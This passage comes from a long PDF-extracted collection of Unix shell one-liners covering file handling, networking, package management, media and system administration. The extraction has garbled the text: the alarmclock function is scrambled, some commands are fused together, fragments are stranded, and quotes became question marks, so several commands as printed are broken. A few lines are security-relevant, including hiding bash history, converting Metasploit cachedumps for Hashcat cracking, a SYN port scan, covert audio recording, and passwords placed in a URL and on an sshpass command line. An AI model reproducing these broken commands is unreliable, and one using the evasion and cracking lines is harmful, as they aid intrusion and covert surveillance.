v () { ( IFS=$'\n'; suf="_versions"; mkdir -p "$1$suf"; nr=`ls "$1$suf" | wc -l`; nr=`printf
"%02d" $(($nr + 1))`; cp "$1" "$1$suf/v${nr}_$1" ) }
# grayscale image
convert input.png -colorspace Gray output.png

433 / 658

All UNIX COMMANDS


# mysql login as privileged user on multiple machines with differend mysql root password
mysql --defaults-file=/etc/mysql/debian.cnf
# Alarmclock function
alarmclock() { [ $1 ]
for x in 9 8 7 6 5 4 3
0.$x ; done ; done ) &

makes usage of a BEL (\a) character.


|| echo Parameter TIME is missing. 1>&2 && return 1 ; ( sleep $1
2 1 ; do for y in `seq 0 $[ 10 - $x ] ` ; do printf "\a"; sleep
}

# prints line numbers


awk '{print NR "\t" $0}'
# Let you vanish in the (bash) history.
export HISTFILE=/dev/null
# List debian package installed by size
dpkg-query -Wf '${Installed-Size}\t${Package}\n' | sort -n
# list executed files current dir
ls -al | awk '/^-rwx/ {print $9}'
# Generate a specification file for file integrity scanning.
mtree -c -K sha256digest -X mtree.exclude -p /path > host.mtree
# covert m4a audio files to wav
find . -name '*.m4a' | xargs -I audiofile mplayer -ao pcm "audiofile" -ao
pcm:file="audiofile.wav"
# Extract XML from an otherwise plain text log file
sed -n '/<Tag>/,/<\/Tag>/p' logfile.log

# turn lines in columns in csv format


ls | sed -n '1h;2,$H;${g;s/\n/,/g;p}'
# Remove all .svn folders
find . -name .svn -print0 | xargs -0 rm -rf
# flush (not delete) frozen emails from exim's mail queue
exipick -zi | while read x ; do exim -dM "$x"; sleep 1;done
# Download all images from a website in a single folder
wget -nd -r -l 2 -A jpg,jpeg,png,gif http://website-url.com
# Have your sound card call out elapsed time.
for ((x=0;;x+=5)); do sleep 5; echo $x | festival --tts & done
# Automatic Plesk login:
https://yourserver.com:8443/login_up.php3?login_name=admin&passwd=yourpassword
# Convert uniq output to json
uniq -c | sed -r 's/([0-9]+)\s(.*)/"\2": \1,/;$s/,/\n}/;1i{'
# To display the message
echo "Hello WOrld"
# Show the 1000*1000 and 1024*1024 size of HDs on system
for I in $(awk '/d[a-z]+$/{print $4}' /proc/partitions); do sudo hdparm -I '/dev/'$I; done |
grep 'device size with M'

434 / 658

All UNIX COMMANDS


# Get the total size (in human readable form) of all certain file types from the current
directory
find . -name 'pattern'| xargs du -hc
# Find installed packages that are not in the portage tree anymore.
for f in $(qlist -IC); do stat /usr/portage/"$f" > /dev/null; done
# Autofocus window after executing some command
function focus() { winID=`xprop -root |awk '/_NET_ACTIVE_WINDOW/ {print $5; exit;}'`; $@;
wmctrl -i -a $winID; }
# find an unused unprivileged TCP port
netstat -atn | perl -ane 'if ( $F[3] =~ /(\d+)$/ ) { $x{$1}=1 } END{ print( (grep {!$x{$_}}
32768..61000)[0] . "\n" )}'
# read squid logs with human-readable timestamp
tail -f /var/log/squid/access.loc | ccze -CA
# Generate an XKCD #936 style 4 word password
shuf /usr/share/dict/words |grep "^[^']\{3,5\}$" |head -n4
# Add page numbers to a PDF
enscript -L1 -b'||Page $% of $=' -o- < <(for i in $(seq "$(pdftk "$1" dump_data | grep "Num"
| cut -d":" -f2)"); do echo; done) | ps2pdf - | pdftk "$1" multistamp - output "${1%.pdf}header.pdf"
# Have your sound card call out elapsed time.
for ((x=0;;x+=5)); do sleep 5; hours=$(($x/3600)); minutes=$(($x%3600/60)); seconds=$(($x
%60)); echo "$hours hours $minutes minutes $seconds seconds have elapsed" | festival --tts &
done
# Output centralized text on command line
centralized(){ L=`echo -n $*|wc -c`; echo -e "\x1b[$[ ($COLUMNS / 2) - ($L / 2) ]C$*"; }
# checklist for 64-bit java on Linux
grep -l 'flags.*\<lm\>' /proc/cpuinfo && (getconf LONG_BIT | grep '64') && java -version
# Adding Netvibes subscription option to Firefox and add multiple rss feeds to netvibes
for var in "$@" do
echo $var
URL="http://www.netvibes.com/subscribe.php?
type=rss&url=$var"
sensible-browser $URL
done
# Find directories in pwd, get disk usage, sort results
find . -type d -d 1 -print0 | xargs -0 du -sm | sort -nr
# Lists open ports
netstat -antuwp | egrep "(^[^t])|(^tcp.*LISTEN)"
# Match non-empty lines
grep -v "^\W$" <filename>
# Change open file descriptors limit.
ulimit -n <value>
# View firewall config including devices on linux w/netfilter
iptables -L -n -v

# Get the latest Geek and Poke comic

435 / 658

All UNIX COMMANDS


wget -q $(lynx --dump 'http://geekandpoke.typepad.com/' | grep '\/.a\/' | grep '\-pi' | head
-n 1 | awk '{print $2}') -O geekandpoke.jpg
# Count words in a TeX/LaTeX document.
detex document.tex|wc -w
# Join all sequentially named files in the directory
x=(*.001); cat "${x%.001}."* > "${x%.001}" #unsafe; does not check that all the parts are
there, or that the file-sizes make sense!
# Resize participating terminals to classic 80x24 size.
alias mid='printf "\e[8;24;80;t"'
# find *.lock files and delete
find -name *.lock |xargs rm -f
# Edit a PDF's metadata using exiftool
exiftool -Title="This is the Title" -Author="Happy Man" -Subject="PDF Metadata" foo.pdf
-overwrite_original
# Check if *hardware* is 32bit or 64bit
grep " lm " /proc/cpuinfo > /dev/null && echo "64-bit" || echo "32-bit"
# Build a Stage 4 cross compiler for x86_64-elf with Gentoo's crossdev
EXTRA_ECONF="--disable-libquadmath --enable-languages=c" crossdev --target x86_64-elf -s4
# Show concurrent memory usage for individual instances of an application
ps -eo pmem,comm | grep application-name
# View video cam from remote machine during ssh session
xawtv -remote -bpp 16 -noxv-video -geometry 160x120 -device /dev/video0
# Get Interface's IP on Mac
ipconfig getifaddr <Interface>
# Kill multiple Locked connection by a single user in MYSQL DB
for i in `mysqladmin -h x.x.x.x --user=root -pXXXX processlist | grep <<username>>| grep
<<Locked>>| awk {'print $2'}` do mysqladmin -h x.x.x.x --user=root -pXXX kill $i; done;
# Print a row of 50 hyphens
awk 'BEGIN{while (a++<50) s=s "-"; print s}'
# How to use rysnc over ssh tunnel
sshpass -p [password] rsync -av -e ssh [utente]@[indirizzoip]:/directorydacopiare/
/directorydidestinazione
# Remove all .svn folders
shopt -s globstar; rm -rfv **/.svn
# Clear scrollback on all participating terminals.
alias cls='printf %b '\''\033c'\'''
# Aspect ratio of a resolution
aspectRatio () { for i in `seq 1 1000 `; do awk "BEGIN {print $1/$i, $2/$i}"; done |grep -v
"\."; }
# The following commands can be used to reverse the sequence of lines in a file
nl -ba FILE | sort -nr | cut -f2# Connected to first screen session created

436 / 658

All UNIX COMMANDS


screen -x $(screen -ls | awk 'NR == 2 { print $1 }')
# find geographical location of an ip address
function ip-where { wget -qO- -U Mozilla http://www.ip-adress.com/ip_tracer/$1
-nobs -style pretty | sed -n /^$1/,/^$/p;}

| html2text

# Capture video of a linux desktop


gtk-recordMyDesktop
# Run a command in every (direct) sub-folder
for i in */; do echo run_command "${i}"; done
# watch iptables counters
watch -d -n 2 iptables -nvL
# Change a text files contents without opening it, or intermediate files.
print 'g/'delete this line'/delete\nwq' | ex file.txt
# Print a row of 50 hyphens
jot -s '' -b '-' 50

# List alive hosts in specific subnet


for ip in `seq 1 255`; do ping -c 1 192.168.1.$ip ; done | grep ttl
# bash alias for sdiff: differ
alias differ='sdiff --suppress-common-lines $1 $2'
# Ranking of the most frequently used commands
history | awk '{print $2}' | awk 'BEGIN {FS="|"}{print $1}' | sort | uniq -c | sort -n |
tail | sort -nr
# Backup a file with a date-time stamp
buf() { f=${1%%.*};e=${1/$f/};cp -v $1 $f-$(date +"%Y%m%d_%H%M%S")$e;}
# List 50 largest source files in a project
find . -type f -name '*.pm' -printf '%6s %p\n' | sort -nr | head -n 50
# Get the total length of all video / audio in the current dir in H:m:s
mplayer -endpos 0.1 -vo null -ao null -identify *.avi 2>&1 |grep ID_LENGTH |cut -d = -f 2|
awk '{SUM += $1} END { printf "%d:%d:%d\n",SUM/3600,SUM%3600/60,SUM%60}'
# Kill processes associated with PATTERN
ps -fea | grep PATTERN | awk {'print $2'} | xargs kill -9
# a simple way to calculate the sum of all digits of a number
expr `echo "123671" | sed -e 's/[0-9]/ + &/g' -e 's/^ +//g'` 20
# creates or attachs to screen
alias sdr="screen -dR"
# Assemble version 0.90 metadata RAID autodetect like in boot
mdadm --assemble --scan --config /proc/partitions
# fstab update
mv /etc/fstab /etc/fstab.old && mount | awk '{print $1, $3, $5, $6}'| sed s/\(//g|sed s/\)/'
0 0'/g >> /etc/fstab

437 / 658

All UNIX COMMANDS


# securely overwrite a file with random junk, rename it to clear the directory entry and
finally delete it
shred -vzu /tmp/junk-file-to-be-shredded
# List the CPU model name
sed -n 's/^model name[ \t]*: *//p' /proc/cpuinfo
# Finding all numbers that are bigger then 1 in vim
/^\([2-9]\d*\|1\d+\)
# Delete Mailer-Daemon messages
mailq | grep MAILER-DAEMON | awk ?{print $1}? | tr -d ?*? | postsuper -d # Ranking of the most frequently used commands
history | awk '{print $2,$3}' | sed s/sudo// | awk '{print $1}' | awk 'BEGIN {FS="|"}{print
$1}' | sort | uniq -c | sort -n | tail | sort -nr
# Converting your Xfig 'fig' files to 'eps' and others
fig2dev -L eps file.fig file.eps
# Pipe stdout to image and mail
gotxt2imgmail() { if [ $# != 1 ]; then echo 'gotxt2imgmail < email >'; return; fi; e="$1";
f=$RANDOM.png; convert label:@- $f; echo "" | mailx -s $f -a $f $e }
# Adding kernel boot parameters after loading kernel and initrd
echo "root=/dev/sda7" > /proc/param.conf
# to know which package in Ubuntu is install
dpkg -l | grep (package name)
# Display current temperature anywhere in the world in Farenheit
curl -s 'http://www.google.com/ig/api?weather=santa+monica,ca'| sed -ne "s/.*temp_f
data..//;s/....temp_c data.*//;p" | figlet
# generate a randome 3 character password
tr -dc '[:graph:]' </dev/urandom | head -c30; echo
# Get Volume ID (Label) of ISO9660 CD-ROM
dd if=/dev/cdrom bs=1 skip=32808 count=32 conv=unblock cbs=32 2>/dev/null
# Geo Location of an IP-address
wget -qO - whatismyipaddress.com/ip/<type ip address> | grep -E "City:|Country:" | sed
's:<tr><th>::'| sed 's</th>::' | sed 's:</td>::' | sed 's:</tr>::' | sed 's:<img*::'
# Creates an old version raid1 with 3 mirror and 3 spares, from partitions of the same disk
mdadm --create /dev/md0 --metadata=0.90 --level=1 --raid-devices=3 --spare-devices=3
/dev/sdb[5-9] /dev/sdb10

# vi sudo access
:w !sudo tee %
# transpose a file
awk '{ for (f = 1; f <= NF; f++)
a[NR, f] = $f } NF > nf { nf = NF } END {
for (f = 1;
f <= nf; f++) for (r = 1; r <= NR; r++)
printf a[r, f] (r==NR ? RS : FS) }'
# Determine configure options used for MySQL binary builds
cat `whereis mysqlbug | awk '{print $2}'` | grep 'CONFIGURE_LINE='

438 / 658

All UNIX COMMANDS


# diff from last committed revision in Mercurial
hg diff -r$((`hg -q par | cut -d":" -f1`-1))
# a simple bash one-liner to create php file and call php function
echo '<?php echo str_rot13 ("Hello World\n") ?>' | php
# Show the most commonly used commands from .bash_history
cut -f1 -d" " ~/.bash_history | sort | uniq -c | sort -nr | head -n 30
# Show/Hide files in Mac OS X
chflags nohidden ~/Library
# view HTML code of a web page
GET www.example.com
# Display current temperature anywhere in the world in Celcius
curl -s 'http://www.google.com/ig/api?weather=santa+monica,ca'| sed -ne "s/.*temp_c
data..//;s/....humidity data.*//;p" | figlet
# Run top and pipe out Cpu(s) with crontab (no batch)
20 11 * * * root /bin/top -n 2 -d 1 | grep "Cpu(s):" > file.txt
# Take a screenshot of x11 over ssh pipe to view on a mac in one line
ssh user@host.com "DISPLAY=:0.0 import -window root png:-" | open -a
/Applications/Preview.app -f
# Draw a Sierpinski triangle
perl -le '$l=80;$l2="!" x $l;substr+($l2^=$l2),$l/2,1,"\xFF";{local $_=$l2;y/\0\xFF/
^/;print;($lf,$rt)=map{substr $l2 x 2,$_%$l,$l;}1,-1;$l2=$lf^$rt;select
undef,undef,undef,.1;redo}'
# Convert JSON to YAML
catmandu convert JSON to YAML < file.json > file.yaml
# Get ethX mac addresses
ip link show eth0 | grep "link/ether" | awk '{print $2}'
# Print a row of 50 hyphens
echo - | sed -e :a -e 's/^.\{1,50\}$/&-/;ta'
# prepare unicode text saved from Microsoft Excel 2003 for unix console
iconv -f UTF16LE -t UTF-8 < SOURCE | awk 'BEGIN { RS="\r\n";} { gsub("\n", "\r"); print;}' >
TARGET
# Extract herds & maintainers' email from a Gentoo metadata.xml file
xmlstarlet sel -t -m '/pkgmetadata/herd' -v . -n -t -m '/pkgmetadata/maintainer' -v email
metadata.xml
# Download all files of a certain type with wget.
wgetall () { wget -r -l2 -nd -Nc -A.$@ $@ }
# List all extneral depencies of an svn-repository
svn propget svn:externals -R [svn-repository-name]
# Poor man's watch: Repeat a command every N seconds
watch() { while true; do echo "<Ctrl+V><Ctrl+L>Every 2.0s: $@"; date; eval "$@"; sleep 2;
done }
# display bash history without line numbers
history | perl -pe "~s/ *[0-9]+ *//"

439 / 658

All UNIX COMMANDS


# Resize images with mogrify with lots of options
find . -name '*.[Jj][Pp][Gg]' -exec mogrify -resize 1024">" -quality 40 {} \;
# Changes the initial login group for all users with GID > 500 (specified with LIMIT), to
group YOURGROUP
for I in $(awk -v LIMIT=500 -F: '($3>=LIMIT) && ($3!=65534)' /etc/passwd | cut -f 1-1 -d ':'
| xargs); do usermod -g YOURGROUP $I ; done
# Which files/dirs waste my disk space
du -ah | sort -h | tail
# Make bash look like DOS
export PS1='C:${PWD//\//\\\}>'

# Send an http HEAD request w/curl


curl -i -X HEAD http://localhost/
# use sed to simulate rpad and lpad
ls / | sed -e :a -e 's/^.\{1,15\}$/&_/;ta'
# Get the headlines of an atom feed
atomtitles () { curl --silent $1 | xmlstarlet sel -N atom="http://www.w3.org/2005/Atom" -t
-m /atom:feed/atom:entry -v atom:title -n}
# List only locally modified files with CVS
cvs -q diff --brief | grep file | cut -d/ -f3- | cut -d',' -f1
# Get Lorum Ipsum random text from lorumipsum.com
p=1 ; lynx -source http://www.lipsum.com/feed/xml?amount=${p} | grep '<lipsum>' -A$(((p-1)))
| perl -p -i -e 's/\n/\n\n/g' | sed -n '/<lipsum>/,/<\/lipsum>/p' | sed -e 's/<[^>]*>//g'
# for ssh uptime
for k in `seq -w 1 50` ; do ssh 192.168.100.$k uptime ; done
# Convert metasploit cachedump files to Hashcat format for cracking
cat cachedump.txt | awk -F : '{print $2":"$1}'
# Get ethX mac addresses
ifconfig | awk '/HW/ {print $5}'
# simple echo of IPv4 IP addresses assigned to a machine
ip addr | awk '/inet / {sub(/\/.*/, "", $2); print $2}'
# Reload an open file in emacs
C-x C-v, Enter
# Geolocate a given IP address
ip2loc() { wget -qO - www.ip2location.com/$1 | grep "<span
id=\"dgLookup__ctl2_lblICountry\">" | sed 's/<[^>]*>//g; s/^[\t]*//; s/&quot;/"/g; s/</</g;
s/>/>/g; s/&amp;/\&/g'; }
# Backup a file with a date-time stamp
buf() { cp -v $1 ${1/${1%%.*}/$f-$(date +"%Y%m%d_%H%M%S")};}
# Run previous same command in history
<comand> && !<command>

440 / 658

All UNIX COMMANDS


# delete the files from the given directory except the PDF file
ls -1 $PATH*/* | xargs file | awk -F":" '!($2~/PDF document/){print $1}' |xargs rm -rf
# Check a port's state on a given host
checkport() { sudo nmap -sS -p $1 $2 }
# space to underscore across single directory
rename ' ' '_' *
# Get all links of a website
lynx -dump http://www.domain.com | awk '/http/{print $2}' | egrep "^https{0,1}"
# detect partitions
sudo file -bs /dev/sda | sed -e 's/.*partition 1\(.*\) code offset.*/partition 1\1/g' -e
's/\(.\);/\1\n/g'
# List prime numbers from 2 to 100
seq 2 100 | factor | sed '/ .* / d ; s/:.*//'
# investigates the network connection between the host and google public dns server
mtr -t -o "LSD NBAW" 8.8.8.8
# Replace all the spaces in all the filenames of the current directory and including
directories with underscores.
rename "s/ /_/g" * .*
# Simple list of apache2 virtualhosts
/usr/sbin/apache2ctl -S
# Sort the current buffer in vi or vim.
:1,$!sort
# List all background image URLs referenced in CSS files in directory and subdirectories
ack -o -h --nogroup --css 'url\((.*)\)' --output "\$1"
# Command to rename multiple file in one go
find / -name "*.xls" -print0 | xargs -0 rename .xls .ods {}

# Count the number of pages of all PDFs in current directory and all subdirs, recursively
find -iname "*.pdf" -exec pdfinfo -meta {} \;|awk '{if($1=="Pages:"){s+=$2}}END{print s}'
# Remove hidden CVS merge helper files
find . -name ".#*" -exec rm {} \;
# Get all links of a website
lynx -dump http://www.cooks4arab.com | awk '/http/{print $2}' | egrep "^https{0,1}"
# Number of connections per IP with range 24
netstat -tn | grep :80 | awk '{print $5}'| grep -v ':80' | cut -f1 -d: |cut -f1,2,3
sort | uniq -c| sort -n
# Clone all github repos of a user
curl -s "https://api.github.com/users/${USERNAME}/repos" | ruby -rubygems -e 'require
"json"; JSON.load(STDIN.read).each {|repo| %x[git clone #{repo["ssh_url"]} ]}'

-d. |

# Rename your Raspberry Pi


sudo sed -i 's/raspberrypi/pita1/' /etc/hosts /etc/hostname; sudo reboot

441 / 658

All UNIX COMMANDS


# Search history, return unique results
function hgr() { grep --color -i "${1}" ~/.bash_history | sed -e 's/^ *//g' -e 's/ *$//g' |
sort | uniq; }
# my command for downloading delicious web links,
wget -H -r -nv --level=1 -k -p -erobots=off -np -N --excludedomains=del.icio.us,doubleclick.net --exclude-directories=
# Print sorted count of lines
alias sucs="sort | uniq -c | sort -n"
# Get the information about the internet usage from the commandline.
vnstat
# python one-liner to get the current week number
python -c 'import datetime; print(datetime.date.today().isocalendar()[1])'
# Check the package is installed or not. There will show the package name which is
installed.
apt-show-versions | grep '\bpython\b'
# copy with progress bar - rsync
rsync -aP --no-whole-file --inplace
# random git-commit message
git-random(){ gitRan=$(curl -L -s http://whatthecommit.com/ |grep -A 1 "\"c" |tail -1 |sed
's/<p>//'); git commit -m "$gitRan"; }
# list all available disks and disk partitions
grep -e "[sh]d[a-l][0-9]\?" /proc/partitions | awk '{print $4}'
# Display EPOCH time in human readable format using AWK.
echo 1268727836 | awk '{print strftime("%c",$1)}'
# Delete all apps in a heroku org
heroku manager:apps --org org-name | xargs -I {} heroku apps:delete {} --confirm {}
# Installation Ksuperkey by one command in Kubuntu.
sudo apt-get install git gcc make libx11-dev libxtst-dev pkg-config -y && git clone
https://github.com/hanschen/ksuperkey.git && cd ksuperkey && make && sudo mv ksuperkey
/usr/bin/ksuperkey && cd ~ && rm -rf ksuperkey
# Get list of updateable packages on Debian/Ubuntu machines using salt stack
salt -G 'os_family:Debian' cmd.run 'apt-get dist-upgrade --dry-run | grep ^Inst | cut -d" "
-f2'
# toggle line wrapping in your terminal
tput rmam
# A bash function to show the files most recently modified in the named (or current)
directory
function t { ls -ltch $* | head -20 ; }
# Get ethernet card information.
ethtool eth0
# Define words with google. (busybox version)
wget -q -U busybox -O- "http://www.google.com/search?ie=UTF8&q=define%3A$1" | tr '<' '\n' |
sed -n 's/^li>\(.*\)/\1\n/p'

442 / 658

All UNIX COMMANDS


# Indent all the files in a project using emacs
lst=`find . -iname \*.c -or -iname \*.h`; for i in $lst; do emacs -nw -q $i --eval "(markwhole-buffer)" --eval "(indent-region (point-min) (point-max) nil)" --eval "(save-buffer)"
--kill; done
# Calculate a transcendental number (pi)
seq 1 2 99999999 | sed 's!^!4/!' | paste -sd-+ | bc -l

# multimedia ping
continuar=true; while $continuar; do
if ping -c 3 [target_IP_address] 2>&1> /dev/null ;
then
mplayer [sound_file];
continuar=false; break;
fi; done
# Show package dependencies with apt
apt-cache depends <packagename>
# Monitoring a port connections
watch -n1 'netstat -tn | grep -P :22'
# dd with nice progress bar
dcfldd if=/dev/zero of=/dev/null
# Kill google chrome process
killall "Google Chrome"
# SSH with debug to troubleshoot any connection issues
ssh -v jsmith@remotehost.example.com
# Network Interfaces
awk '{print $1}' /proc/net/dev|grep :|sed "s/:.*//g"
# Filtering IP address from ifconfig usefule in scripts
/sbin/ifconfig eth0 | grep 'inet addr:' | cut -d: -f2 | awk '{ print $1}'
# strace alternative for Mac OS X
dtruss [ -p <pid> | -n <pname> ]
# Run skype using your GTK theme
sudo sed -i 's/Exec=skype %U/Exec=skype --disable-cleanlooks -style GTK %U/'
/usr/share/applications/skype.desktop
# XKCD "now" wallpaper (http://xkcd.com/now)
convert http://imgs.xkcd.com/comics/now.png -negate /tmp/now.png ; DISPLAY=:0.0 awsetbg
-c /tmp/now.png
# Strip out Hungarian notation from a PHP file
cat file.php | perl -p -e 's/(\$|->)(str|arr|obj|int|flt|boo|bool|mix|res)([A-Z])/$1\L$3/g'
# Use the page up key to complete the command.
echo "\"\e[5~\": history-search-backward" >> ~/.inputrc
# Show the ordered header line (with field names) of a CSV file
function headers { head -1 $* | tr ',' '\12' | pr -t -n ; }
# Move all files untracked by git into a directory
git clean -n | sed 's/Would remove //; /Would not remove/d;' | xargs mv -t stuff/
# Open the last modified file of a certain type
open-command $(ls -rt *.type | tail -n 1)

443 / 658

All UNIX COMMANDS


# Find, Replace, Write & Remove First 5 Lines
variable="foo" && sed 's/bar/'$variable'/g' $variable.conf >> $variable.temp && sed '1,5d'
$variable.temp && mv $variable.temp $variable.conf
# Show package reverse dependencies with apt
apt-cache rdepends <packagename>
# Generate an XKCD #936 style 4 word password
perl -F'\s+' -anE 'push @w,$F[1];END{$r.=splice @w,rand @w,1 for(1..4);say $r}'
diceware.wordlist.asc
# Command to generate an integer from the hostname, valid within the Days of Month
$(($(hostname|sum|cut -f1 -d" ")%27+1))
# Find your Amazon EC2 instance type
curl -s http://169.254.169.254/latest/meta-data/instance-type
# What is my public IP address
curl -s checkip.dyndns.org|grep -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}'
# Generate random password, human readable with no special characters.
false; while [ $? != 0 ]; do apg -c /dev/urandom -n1 -E oOlL10 | egrep '^[[:alnum:]]+$';
done
# Suspend ssh session
~ <Ctrl+Z>
# comment / uncomment a line in a file using sed.
(comment:) $ sed -i 's/blah.*/#&/g' file.txt (uncomment:) $ sed -i 's/.\(blah*.\)/\1/g'
file.txt

# run last command with root


sudo !!
# like rm, but keep backups of files and dirs in ~/.rm
alias rn='mkdir -p ~/.rm`pwd`; mv -v -f --backup=t -t ~/.rm`pwd` "$@"'
# Quickly write and run a C program.
vim test.c && gcc -x c -o a.out test.c && ./a.out && rm a.out test.c
# Convert an ssh2 public key to openssh format
ssh-keygen -i -f $sshkeysfile >> authorized_keys
# Name a backup/archive file based on current date and time
archivefile=filename-$(date +%Y%m%d-%H%M).tar.gz
# dos2unix recursively
find . -type f -exec dos2unix {} +
# Recursively replace a string in files with lines matching string
for i in `find . -type f`; do sed -i '/group name/s/>/ deleteMissing="true">/' $i; done
# backup home dir exclude dot files
tar --exclude=".??*" -zcvf ./home_backup_2008.tar.gz
# lotto generator
seq -w 50 | sort -R | head -6 |fmt|tr " " "-"

444 / 658

my_home

All UNIX COMMANDS


# Get version values (ProductName, ProductVersion, BuildVersion) for Mac OS X
sw_vers [-productName|-productVersion|-buildVersion]
# un-escape URL/URIs with Ruby
echo 'example.com%2Fsome%2Fpath' | ruby -r'cgi' -e 'puts CGI.unescape(STDIN.read)'
# Stop adobe and Flash from tracking everything you do.
adobenospy() { for I in ~/.adobe ~/.macromedia ; do ( [ -d $I ] && rm -rf $I ;
/dev/null $I ) ; done }

ln -s -f

# mkdir some file and mv some file


for i in `seq 100`; do mkdir f${i}; touch ./f${i}/myfile$i ;done
# convert from decimal to hexadecimal
python -c 'print hex(1337)'
# copy hybrid iso images to USB key for booting from it, progress bar and remaining time are
displayed while copying
pv -petrs $(stat -c %s file.iso) file.iso | dd bs=1M oflag=sync of=/dev/sdX
# SSH statistics
~s
# Aligns NIC device names and associated IPs.
/sbin/ifconfig |awk '/bond|eth/{getline i;printf $0" ";printf "%s\n", i" "}'|awk '{print
$1,substr($7,6)}'
# Download an entire static website to your local machine
wget --recursive --page-requisites --convert-links www.moyagraphix.co.za
# List partition superblocks
sudo dumpe2fs /dev/sda1 | grep superblock
# adb connect to last IP address
eval $(history | cut -c 8- | grep "adb connect [0-9]" | tail -1)
# Create files of arbitrary size in Windows
fsutil file createnew FILENAME filesize(inbytes)
# Convert a VMWare screencast into a flv file
mencoder -of avi -ovc lavc movie.avi -o movie2.avi; ffmpeg -i movie2.avi -r 12
movie.flv

-b 100

# Remove branches that no longer exist from being shown via 'git branch -a'
git remote prune origin
# List contents of jar
LESSOPEN="| /usr/bin/lesspipe %s" less file.jar
# Find Files over 20Meg
find . -type f -size +20000k -print0 | xargs -0 du -h | awk -F"\t" '{printf "%s : %s\n", $2,
$1}'

# Find processes by current user on a Solaris box


ps -u `/usr/xpg4/bin/id -u`
# List the size (in human readable form) of all sub folders from the current location

445 / 658

All UNIX COMMANDS


du -sh *
# copy hybrid iso images to USB key for booting from it, progress bar and remaining time are
displayed while copying
pv file.iso >/dev/sdX
# mkdir and cd
function mkdircd () { mkdir -p "$@" && eval cd "\"\$$#\""; }
# Print a single character from a string with AWK.
echo "abcdefg"|awk 'BEGIN {FS="''"} {print $2}'
# Substituting command argument
$ COMMAND !$
# Find Duplicate Files (based on size first, then MD5 hash)
find . -type f -size +0 -printf "%-25s%p\n" | sort -n | uniq -D -w 25 | sed 's/^\w* *\
(.*\)/md5sum "\1"/' | sh | sort | uniq -w32 --all-repeated=separate
# Pronounce an English word using Merriam-Webster.com
pronounce(){ xidel "http://www.m-w.com/dictionary/$*" -f "replace(css('.au')
[1]/@onclick,\".*'([^']+)', *'([^']+)'.*\", '/audio.php?file=\$1&word=\$2')" -f
'css("embed")[1]/@src' --download - | aplay -q;}
# for ssh uptime
clush -w 192.168.100.[1-50] -t 10 'uptime'
# Call `svn mv` recursively to rename the C prefix from class names
for i in $(find . -regex '.*\/C.*\.cpp'); do svn mv `perl -e 'my $s=$ARGV[0]; $s=~m/
(.*\/)C(.*)/; print "$s $1$2"' "$i"`; done
# Remove CVS root files under current directory
find . -name Root -print | xargs rm -f
# Find UTF-8 text files misinterpreted as ISO 8859-1 due to Byte Order Mark (BOM) of the
Unicode Standard.
find -type f |while read a;do [ "`head -c3 -- "${a}"`" == $'\xef\xbb\xbf' ] && echo "Match:
${a}";done
# Shorten url with is.gd using curl, perl
curl -s "http://is.gd/api.php?longurl=[long_url]"
# Get movie length
mplayer -vo null -ao null -frames 0 -identify movie.avi | awk '{FS="="}; /ID_LENGTH/
{ H=int($2/3600); M=int(($2-H*3600)/60); S=int($2%60); printf "%d:%02d:%02d\n",H,M,S}'
# get biggest directories
du -kh --max-depth=1 | sort -n |head
# Check variable has been set
isdef() { eval test -n \"\${$1+1}\"; }
# Print heap addresses and size
PID=`ps | grep process_name | grep -v grep | head -n 1 | awk '{print $1}'`; cat /proc/
$PID/smaps | grep heap -A 2
# Random Futurama quote
curl -s "http://subfusion.net/cgi-bin/quote.pl?quote=futurama&number=1" |awk
'/<body><br><br><b><hr><br>/ {flag=1;next} /<br><br><hr><br>/{flag=0} flag {print}'

446 / 658

All UNIX COMMANDS


# Recursively sort files by modification time through multiple directories.
find /test -type f -printf "%AY%Aj%AH%AM%AS---%h/%f\n" | sort -n
# Order all files oldest to newest then get the last one touched
ls -lT -rt | grep "^-" | awk 'BEGIN {START=2002} (START <= $9){ print $10 ;START=$9 }' |
tail -1
# Search for a <pattern> string inside all files in the current directory
grep -nisI <pattern> * .[!.]*
# Get the Nth argument of the last command in $HISTFILE
function garg () { tail -n 1 ${HISTFILE} | awk "{ print \$$1 }" }
# one liner to rename files with for and sed
for fn in *.epub; do echo mv \"$fn\" \"`echo "$fn" | sed -E 's/\.*\/*(.*)( - )(.*)(\.[^\.]+)
$/\3\2\1\4/' | sed -E 's/(.*) ([^ ]+)( - )(.*)/\2, \1\3\4/' `\";done | sh
# conver mp3 to m4b
mpg123 -s input.mp3 | faac -P -X -w -o output.m4b # get value after comma from an arithmetic operation
echo "scale=6;2048 / 2.345" | bc

# Indent all the files in a project using emacs


find . -iname \*.c -or -iname \*.h -exec emacs -nw -q {} --eval "(progn (mark-whole-buffer)
(indent-region (point-min) (point-max) nil) (save-buffer))" --kill \;
# Reading my nic's mac address
ifconfig | grep HWaddr
# Speed up builds and scripts, remove duplicate entries in $PATH. Users scripts are oftern
bad: PATH=/apath:$PATH type of thing cause diplicate.
glu() { (local IFS="$1"; shift && echo "$*") }; repath() { ( _E=`echo "${PATH//:/$'\n'}" |
awk '!x[$0]++'`; glu ":" $_E ) ; } ; PATH=`repath` ; export PATH
# Merge PDFs into single file
pdftk input1.pdf input2.pdf cat output output.pdf
# Prevent command history file from being overwritten by multiple shell sessions.
echo "shopt -s histappend" >> ~/.bashrc ; . ~/.bashrc
# cvs diff HEAD and current branch
cvs up -pA main.cpp | sdiff -s - main.cpp
# Print heap addresses and size
PID=`pgrep -o <process_name>`; grep -A 2 heap /proc/$PID/smaps
# Create a file
> filename
# Create rsyncable tar archives with gzip compression
GZIP="--rsyncable" tar -czf something.tgz /something
# Directory stack pushd popd dirs
pushd path/to/dir/
# Check SATA link speed.
dmesg | grep -i sata | grep 'link up'

447 / 658

All UNIX COMMANDS


# Macports update and clean all packages
sudo port selfupdate && sudo port upgrade outdated && sudo port clean --all installed &&
sudo port -f uninstall inactive
# execute/start some scripts on a remote machine/server (which will terminate automatically)
and disconnect from the server
ssh remoteserver 'nohup /path/to/script `</dev/null` >nohup.out 2>&1 &'
# Spy audio, it only records if detects a sound or noise
arecord -q -f cd -d 1 recvol.wav;sox recvol.wav -n stat 2>&1|grep RMS|grep amplitude|cut
-d"." -f2|cut -c 1-2>recvol;echo $((`cat recvol`+1))>recvol;rec -t wav - silence 1 0.1 `cat
recvol` -1 1.0 `cat recvol`%|lame -s 44.1 -a -v - >record.mp3
# Remove all untracked files/directories from the working tree of a git repository.
git clean -dfx
# Check the reserved block percentage of an Ext2/3 filesystem
dumpe2fs -h /dev/sda1 2> /dev/null | awk -F ':' '{ if($1 == "Reserved block count")
